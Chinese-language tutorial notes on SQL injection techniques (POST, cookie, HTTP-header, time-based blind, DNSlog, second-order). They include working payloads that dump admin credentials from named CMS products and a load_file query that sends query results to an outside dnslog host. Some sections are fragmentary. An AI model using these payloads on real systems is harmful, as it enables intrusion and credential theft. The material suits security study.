SQL注入- 其他注入漏洞
各种提交方式注入的挖掘
常见的提交方式
1 | GET |
get注入
1 | get注入比较常见 |
POST注入
post提交方式主要适用于表单的提交
可能存在漏洞的位置:
搜索框、登录、留言、注册
挖掘的时候注入魔术引号
例如:
www.cracerxxx.com/admin.php
测试站点:
http://testasp.vulnweb.com/login.asp?tfUPass=&tfUName=
测试工具
pangolin sqlmap
Xdcms +burp注入
XDCMS全版本存在sql注入漏洞
- 需要使用代理抓包改包工具进行完成。
- sql exp
1
%60%3D%28select%20group_concat%28username%2C0x3a%2Cpassword%29%20from%20c_admin%20where%20id%3D1%29%23
COOKIE注入
cookie提交用于账号密码的cookie缓存
还可以通过cookie注入来突破简单的防注入系统
清空地址栏,输入:
1
javascript:alert(document.cookie="id="+escape("30and 1=2")),然后去掉?id=1556输入http://soft.XXXXX.edu.cn/list.asp,返回正常
1
javascript:alert(document.cookie=”id=”+escape(“1556 and 1=2 select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,,27,28,29,30 from admin”))
HTTP头注入
常见的http请求中存在注入的参数
User-agent
Referer
X-Forwarded-For
Client-ip发现方法:
burp抓包添加污染参数火狐插件:
modify headers
tamper dataHTTP头注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14POST /uploads/comment.php?act=send HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=caiu1hm6vu2mp9b5m019ku9107
client-ip:1'
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 63
mood=6&comment=test&id=1&type=1&submit=%CC%E1%BD%BB%C6%C0%C2%DBexp构造分析
1
INSERT INTO blue_comment (com_id, post_id, user_id, type, mood, content, pub_date, ip, is_check) VALUES ('', '1', '0', '1', '6', 'test', '1480988752', '111'', '1')
1
a','xxx'),('','1','1','1','2',(select concat(admin_name,0x3a,pwd) from blue_admin limit 0,1),'1645457407','sss','1')#
伪静态注入的挖掘
“伪静态”顾名思义就是一种表面上看似是静态网页(以.html、.htm等结尾),不存在任何的数据交互,却其实是动态网页,存在数据交互的网站,具有这种特性的网页成为“伪静态网页”。我们看到的伪静态网页其实是经过处理的,将动态网页的id等参数通过URL重写来隐藏,让查看者以为是静态网页。
如果看到一个以.html或者.htm结尾的网页,此时可以通过在地址输入框中输入:javascript:alert(document.lastModified),来得到网页最后的修改时间,如果得到的时间和现在时间一致,此页面就是伪静态,反之是真静态;因为动态页面的最后修改时间总是当前时间,而静态页面的最后修改时间则是它生成的时间。时间一致,说明该网站是伪静态。
试出页面是:.php、.aps还是.aspx,找出id和值,判断注入点,再利用sqlmap工具进行辅助注入。
延迟注入漏洞
延时注入是通过页面返回的时间来判断的
不同的mysql数据库版本,延迟注入语句也不同
mysql >=5.0 的可以使用sleep()进行查询
mysql<5.0 的可以使用benchmark()进行查询
benchmark用法
benchmark(n,sql语句) n为查询次数
通过查询次数增多 时间变得缓慢来判断是否存在延迟1
select benchmark(1000,select * from admin) ;
1
2
3
4
5
6
7
8
9
10
11
12sleep()延迟注入用法
sleep 可以强制产生一个固定的延迟。
sleep()延迟注入核心原理
and if(true,sleep(5),0); ==IF(1=1, true, false);
id=1 and sleep(5) 判断下是否存在延迟注入
and if(substring(user(),1,4)='root',sleep(5),1) 判断当前用户
and if(MID(version(),1,1) LIKE 5, sleep(5), 1) 判断数据库版本信息是否为5
可以去猜解他的数据库名称
and if(ascii(substring(database(),1,4))>100,sleep(5),1)
and If(ascii(substr(database(),1,1))<115,sleep(10),1)--+
and If(length((version()))=6,sleep(10),1)--+
sqlmap --time-sec=2 延迟注入
dnslog 注入
- dnslog 平台会记录域名dns查询记录,通过我们把查询的结果和dns子域名拼接,发送给dnslog平台查询,就会记录我们的语句查询结果,从而快速提升延迟注入速度。
- 条件:
root权限(要借助load_file()函数)
dns 注入列表名
1 | and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='jian' limit 0,1),'.tunxf1.dnslog.cn\\abc'))),1,1)--+ #查表名 |
dns注入列列名
1 | 列列名 |
dns注入列数据
1 | 列数据 |
BASE64编码注入漏洞
1 | 解码 |
二阶注入漏洞
SQL注入一般可分为两种,一阶注入(普通的SQL注入)和二阶SQL注入。一阶SQL注入发生在一个HTTP请求和响应中,系统对攻击输入立即反应执行。
- 一阶注入的攻击过程归纳如下:
- 攻击者在HTTP请求中提交恶意sql语句。
- 应用处理恶意输入,使用恶意输入动态构建SQL语句。
- 如果攻击实现,在响应中向攻击者返回结构。
- 二阶注入,作为sql注入的一种,他不同于普通的SQL注入,恶意代码被注入到web应用中不立即执行,而是存储到后端数据库,在处理另一次不同请求时,应用检索到数据库中的恶意输入并利用它动态构建SQL语句,实现了攻击。
- 二阶SQL注入的攻击过程归纳如下:
- 攻击者在一个HTTP请求中提交恶意输入
- 用于将恶意输入保存在数据库中。
- 攻击者提交第二个HTTP请求。
- 为处理第二个HTTP请求,应用检索存储在后端数据库中的恶意输入,动态构建SQL语句。
- 如果攻击实现,在第二个请求的响应中向攻击者返回结果。
- 一般攻击利用是两种方式:
- 攻击存储
- 注入攻击
PHPV9 authkey 注入漏洞
1 | 利用exp爆出authkey |
XML 注入漏洞
.xml
可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。
在电子计算机中,标记指计算机所能理解的信息符号,通过此种标记,计算机之间可以处理包含各种的信息比如文章等。它可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。 它非常适合万维网传输,提供统一的方法来描述和交换独立于应用程序或供应商的结构化数据。是Internet环境中跨平台的、依赖于内容的技术,也是当今处理分布式结构信息的有效工具。早在1998年,W3C就发布了XML1.0规范,使用它来简化Internet的文档信息传输。